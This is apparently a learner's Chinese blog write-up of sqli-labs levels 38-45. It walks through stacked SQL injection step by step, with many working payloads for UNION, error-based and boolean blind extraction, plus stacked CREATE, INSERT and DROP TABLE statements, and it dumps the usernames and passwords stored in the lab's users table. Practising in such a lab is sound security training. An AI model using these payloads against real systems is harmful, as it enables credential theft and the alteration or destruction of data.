sql-labs闯关38~45

本文概述了SQL Labs中38-45关的堆叠注入挑战,涉及GET和POST请求、字符型和数值型注入,以及盲注和爆库爆表等技术。通过详细步骤展示了如何利用堆叠查询和布尔时间注入获取数据库信息并创建、删除表。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sql-labs闯关38~45:

友善爱国平等诚信民主友善爱国爱国友善平等诚信自由平等友善平等法治诚信民主民主

复习笔记1


内容:

  1. sql-labs第38关(GET请求-堆叠查询注入-字符型)
  2. sql-labs第39关(GET请求-堆叠查询注入-基于数值型)
  3. sql-labs第40关(GET请求-基于盲注-字符型-堆叠)
  4. sql-labs第41关(GET请求-基于盲注-数值型-堆叠)
  5. sql-labs第42关(POST请求-基于错误-字符型-堆叠)
  6. sql-labs第43关(POST请求-基于错误-字符型-堆叠变形)
  7. sql-labs第44关(POST请求-基于错误-字符型-堆叠-盲注)
  8. sql-labs第45关(POST请求-基于错误-字符型-堆叠-盲注)

1.sql-labs第38关

1.1.1
从欢迎界面没有任何提示,先按照老方法先判断闭合点,输入?id=1
1.1.2
输入?id=1 and 1=2,页面没有变化,类型不是数值型
1.1.3

再输入?id=1',出现报错信息,可以判断出闭合点就是',再添加--+,成功闭合
1.1.4
输入?id=-1' union select 1,2,3--+,查看回显位
1.1.5
输入?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+,爆库,爆表
1.1.6
输入?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+,爆库
1.1.7
按照书上的例子,输入?id=1' ;select if(length(database())>5,sleep(5),1))--+,判断数据库长度,结果应该是休眠5秒,但是并没有实现,我不知道什么问题,参考了sqli-labs(38),看了原理,也知道了区别:union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series38 like users--+

1.1.8
1.1.9
这句命令在爆库爆表之后,再执行了一条新建一张表名为series38,格式参照users,输入之后再刷新,重新加载一下后台,不然看不到

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series38 values(1,1,1)--+

1.1.10
爆字段,再插入一条id、username、password为1的记录

?id=-1' union select 1,group_concat(username),group_concat(password) from users;drop table series38--+

1.1.11
爆数据,再将表名为series38删除。事了拂衣去,深藏功与名


2.sql-labs第39关

2.1.1
输入?id=1,看看正常显示的页面
2.1.2
输入?id=1 and 1=2,页面发生改变,说明这是数值型
2.1.3
输入?id=-1 union select 1,2,3--+,查看回显位,既然这几关主打堆叠注入,那就用堆叠注入

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series39 like users--+

2.1.4
爆库,爆表,再新建一张名为series39,格式参照users的数据表

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series39 values(2,2,2)--+

2.1.5
爆字段,再插入一条id、username、password为2的记录

?id=-1 union select 1,group_concat(username),group_concat(password) from users;drop table series39--+

2.1.6
爆数据,再将表名为series39删除


3.sql-labs第40关

3.1.1
输入?id=1
3.1.2
输入?id=1 and 1=2,页面没有变化,类型不是数值型,这就说明要猜闭合点了
3.1.3
首先单引号判断法先上场,输入?id=1',页面发生改变,且没有报错信息,但目前不确定闭合点
3.1.4
先继续添加注释符,尝试闭合输入?id=1'--+还是错误页面,担心这关过滤了注释符,所以又输入?id=1' ;%00,页面还是错误,那我就放心了,百分百确定'不是闭合点
3.1.5
再输入?id=1') ;%00成功闭合,可以确定闭合点是')

union注入

3.1.6
输入?id=-1') union select 1,2,3;%00,查看回显位

?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series40 like users ;%00

3.1.7
爆库爆表后,再执行了一条新建一张表名为series40,格式参照users

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series40 values(3,3,3);%00

3.1.8
爆字段,再插入一条id、username、password为3的记录

?id=-1') union select 1,group_concat(username),group_concat(password) from users;drop table series40 ;%00

3.1.9
爆数据,再将表名为series40删除

盲注-布尔+堆叠

在前期判断闭合点时,页面出现错误也没有报错信息,就可以排除报错注入,要用布尔/时间注入
3.2.1
输入?id=1') and length(database())>5;create table series40 like users ;%00判断库长度,并新建表名为series40,格式参考自表users
3.2.2
输入?id=1') and substr(database(),1,1)>'m';insert into series40 values(4,4,4);%00判断数据库第一个字母,并插入一条id、username、password为4的记录
3.2.3
输入?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())>5 ;insert into series40 values(5,5,5);%00判断数据表张数>5,并插入一条id、username、password为5的记录
3.2.4
输入?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 ;insert into series40 values(6,6,6);%00判断第一张数据表的长度>5,并插入一条id、username、password为6的记录
3.2.5
输入?id=1') and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m' ;insert into series40 values(7,7,7);%00判断第一张数据表的第一个字母>m,并插入一条id、username、password为7的记录
3.2.6
输入?id=1') and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 ;insert into series40 values(8,8,8);%00判断字段数>5,并插入一条id、username、password为8的记录
3.2.7
输入?id=1') and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5 ;insert into series40 values(9,9,9);%00判读第一个字段的长度,并插入一条id、username、password为9的记录
3.2.8
输入?id=1') and mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m' ;insert into series40 values(10,10,10);%00判断第一个字段第一个字母,并插入一条id、username、password为10的记录
3.2.9
输入?id=1') and (select count(username) from users)>5 ;insert into series40 values(11,11,11);%00判断username记录>5,并插入一条id、username、password为11的记录
3.2.10
输入?id=1') and length((select username from users limit 0,1))>5 ;insert into series40 values(12,12,12);%00判断username第一条记录长度>5,并插入一条id、username、password为12的记录
3.2.11
输入?id=1') and mid((select username from users limit 0,1),1,1)>'m';drop table series40 ;%00判断第一条记录的第一个字母>m,并将表删除
具体的请参考前面的盲注篇,我累了


4.sql-labs第41关

4.1.1
输入?id=1
4.1.2
输入?id=1 and 1=2,哦豁,我可以跳过猜闭合点这个步骤了
4.1.3
输入?id=-1 union select 1,2,3--+查看回显位,说明可以用union联合查询,若需要请参考上关
4.1.4
输入?id=1 and length(database())>5;create table series41 like users--+判断库长度,并新建表名为series41,格式参考表users
4.1.5
输入?id=1 and substr(database(),1,1)>'m';insert into series41 values(13,13,13)--+判断数据库第一个字母,并插入一条id、username、password为13的记录
4.1.6
输入?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 ;insert into series41 values(14,14,14)--+判断数据表张数>5,并插入一条id、username、password为14的记录
4.1.7
输入?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 ;insert into series41 values(15,15,15)--+判断第一张数据表的长度>5,并插入一条id、username、password为15的记录
4.1.8
输入?id=1 and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m' ;insert into series41 values(16,16,16)--+判断第一张数据表的第一个字母>m,并插入一条id、username、password为16的记录
4.1.9
输入?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 ;insert into series41 values(17,17,17)--+判断字段数>5,并插入一条id、username、password为17的记录
4.1.10
输入?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5 ;insert into series41 values(18,18,18)--+判读第一个字段的长度,并插入一条id、username、password为18的记录
4.1.11
输入?id=1 and mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m' ;insert into series41 values(19,19,19)--+判断第一个字段第一个字母,并插入一条id、username、password为19的记录
4.1.12
输入?id=1 and (select count(username) from users)>5 ;insert into series41 values(20,20,20)--+判断username记录>5,并插入一条id、username、password为20的记录
4.1.13
输入?id=1 and length((select username from users limit 0,1))>5 ;insert into series41 values(21,21,21)--+判断username第一条记录长度>5,并插入一条id、username、password为21的记录
4.1.14
输入?id=1 and mid((select username from users limit 0,1),1,1)>'m';drop table series41 --+判断第一条记录的第一个字母>m,并将表删除
这关我是将上关的代码修改了之后,直接使用的


5.sql-labs第42关

这关的欢迎界面跟24的二次注入很像,经过一系列的点击、输入、尝试,可以发现,这关跟24关差不都,唯一不同的点就在于,新建用户的那个链接,这关的不允许新建用户了,给了句“如果你想要新建用户,那就黑进去吧”,emmm,我倒是想黑,没那能力咋整。整个摸索下来,有两处输入点,一处是欢迎界面文本框,另一处是输入正确的账号密码,有更改密码的界面
5.1.1
先在第一处输入点username和password都输入1,这个界面就表示失败(我的数据库里没有这个账号密码)
5.1.2
username和password都输入1',居然出现了报错信息,难道这关的注入点在首页?
再在username输入1,password输入1',运行,出现报错,说明password的输入值是关键
5.1.3
再在username随便输入,password输入1'#,运行,没有报错信息,成功闭合
5.1.4
password输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#爆库
输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e));create table series42 like users#发现报错注入之后不能成功堆叠新建表
怎么看怎么不习惯,百度了一圈,看到了Sqli-labs Less-42 堆叠注入,麻了,天天爆库爆习惯了,这关跟24关一样不需要爆库,只需要操作users数据就好了
5.1.5
输入1';create table series42 like users#成功新建表,然后这关莫名其妙就结束了
5.1.6
我再输入句1';drop table series42#将表删除,省的占位子


6.sql-labs第43关

6.1.1
按照上关的套路,先都输入1',这明晃晃的提示了我这关的闭合点是')
6.1.2
在username输入1,password输入1',出现报错,很好,注入点还是在password处
6.1.3
password输入1')#尝试闭合,没有报错,成功闭合
6.1.4
输入1');create table series43 like users#成功新建表
6.1.5
再输入1');drop table series43#将表删除


7.sql-labs第44关

7.1.1
这关不管输入11'都没有报错信息
7.1.2
在username、password处输入dumb正确账号密码时,页面会跳转
7.1.3
没有报错信息,只能直接加注释符试探,在username处输入dumb'#,password处输入dumb,页面报错
7.1.4
在username处输入dumb,password处输入dumb'#登录成功了,那这关操作步骤就跟42差不多
7.1.5
输入1';create table series44 like users#
7.1.6
输入1';drop table series44#将表删除


8.sql-labs第45关

8.1.1
这关跟上关一样又没有报错信息,又需要用正确账号密码来验证,那么直接在password处输入dumb',很好,页面错误
8.1.2
输入dumb'#还是错误
8.1.3
那再试试dumb')#成功了,这关闭合点就是'),操作类似43
8.1.4
输入1');create table series45 like users#成功新建表
8.1.5
再输入1');drop table series45#将表删除


总结

做这个堆叠的时候,就觉得很陌生,仔细想了半天,当时上课的时候似乎就一听而过,下课也没去闯关,真实演绎了什么叫“上课不认真,做题两行泪”。多做题还是很有好处的,就像44和45一样,我会按照老套路一个点一个点去尝试,会想到跟之前一样用登录成功的界面来判断是否闭合成功,每次写完一篇,就喜欢懒两天,希望在我开学前,把整套关都过一遍

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值